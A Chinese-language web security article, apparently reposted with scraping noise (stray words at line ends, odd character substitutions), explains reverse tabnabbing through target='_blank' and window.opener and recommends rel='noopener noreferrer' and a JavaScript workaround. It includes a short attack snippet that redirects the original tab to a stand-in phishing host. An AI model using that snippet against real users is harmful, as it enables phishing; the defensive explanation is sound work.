危险的 target="_blank" 与 “opener”

在网页中使用连接时,若是想要让浏览器自动在新的标签页打开指定的地址,一般的作法就是在 a 标签上添加 target等于"_blank" 属性。javascript

然而,就是这个属性,为钓鱼攻击者带来了可乘之机。html

起源

parentopener

在说 opener 以前,能够先聊聊 <iframe> 中的 parent前端

咱们知道,在 <iframe> 中提供了一个用于父子页面交互的对象,叫作 window.parent,咱们能够经过 window.parent 对象来从框架中的页面访问父级页面的 windowjava

openerparent 同样,只不过是用于 <a target="_blank"> 在新标签页打开的页面的。经过 <a target="_blank"> 打开的页面,能够直接使用 window.opener 来访问来源页面的 window 对象。后端

同域与跨域

浏览器提供了完整的跨域保护,在域名相同时,parent 对象和 opener 对象实际上就直接是上一级的 window 对象;而当域名不一样时,parentopener 则是通过包装的一个 global 对象。这个 global 对象仅提供很是有限的属性访问,而且在这仅有的几个属性中,大部分也都是不容许访问的(访问会直接抛出 DOMException)。跨域

<iframe> 中,提供了一个 sandbox 属性用于控制框架中的页面的权限,所以即便是同域,也能够控制 <iframe> 的安全性。浏览器

利用

若是,你的网站上有一个连接,使用了 target="_blank",那么一旦用户点击这个连接并进入一个新的标签,新标签中的页面若是存在恶意代码,就能够将你的网站直接导航到一个虚假网站。此时,若是用户回到你的标签页,看到的就是被替换过的页面了。安全

详细步骤

  1. 在你的网站 https://example.com 上存在一个连接:微信

    <a href="https://an.evil.site" target="_blank">进入一个“邪恶”的网站</a>
    复制代码
  2. 用户点击了这个连接,在新的标签页打开了这个网站。这个网站能够经过 HTTP Header 中的 Referer 属性来判断用户的来源。框架

    而且,这个网站上包含着相似于这样的 JavaScript 代码:

    const url = encodeURIComponent('{{header.referer}}');
    window.opener.location.replace('https://a.fake.site/?' + url);
    复制代码
  3. 此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F

  4. 恶意网站 https://a.fake.site 根据 Query String 来伪造一个足以欺骗用户的页面,并展现出来(期间还能够作一次跳转,使得浏览器的地址栏更具备迷惑性)。

  5. 用户关闭 https://an.evil.site 的标签页,回到原来的网站………………已经回不去了。

上面的攻击步骤是在跨域的状况下的,在跨域状况下,opener 对象和 parent 同样,是受到限制的,仅提供很是有限的属性访问,而且在这仅有的几个属性中,大部分也都是不容许访问的(访问会直接抛出 DOMException)。

可是与 parent 不一样的是,在跨域的状况下,opener 仍然能够调用 location.replace 方法parent 则不能够。

若是是在同域的状况下(好比一个网站上的某一个页面被植入了恶意代码),则状况要比上面严重得多。

防护

<iframe> 中有 sandbox 属性,而连接,则能够使用下面的办法:

1. Referrer Policy 和 noreferrer

上面的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上能够在 HTTP 的响应头中增长 Referrer Policy 头来保证来源隐私安全。

Referrer Policy 须要修改后端代码来实现,而在前端,也能够使用 <a> 标签的 rel 属性来指定 rel="noreferrer" 来保证来源隐私安全。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>
复制代码

可是要注意的是:即便限制了 referer 的传递,仍然不能阻止原标签被恶意跳转。

2. noopener

为了安全,现代浏览器都支持在 <a> 标签的 rel 属性中指定 rel="noopener",这样,在打开的新标签页中,将没法再使用 opener 对象了,它为设置为了 null

<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>
复制代码

3. JavaScript

noopener 属性看似是解决了全部问题,可是...浏览器的兼容性问题...

能够看到,如今绝大多数浏览器都已经兼容了 rel="noopener" 属性了。可是,为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器,只有 noopener 属性仍是远远不够的。

这时,就只能请出下面这段原生 JavaScript 来帮忙了。

"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}
复制代码

推荐

首先,在网站中的连接上,若是使用了 target="_blank",就要带上 rel="noopener",而且建议带上 rel="noreferrer"。相似于这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>
复制代码

固然,在跳转到第三方网站的时候,为了 SEO 权重,还建议带上 rel="nofollow",因此最终相似于这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>
复制代码

性能

最后,再来讲说性能问题。

若是网站使用了 <a target="_blank">,那么新打开的标签页的性能将会影响到当前页面。此时若是新打开的页面中执行了一个很是庞大的 JavaScript 脚本,那么原始标签页也会受到影响,会出现卡顿的现象(固然不至于卡死)。

而若是在连接中加入了 noopener,则此时两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。


关注微信公众号:创宇前端(KnownsecFED),码上获取更多优质干货!

相关文章
相关标签/搜索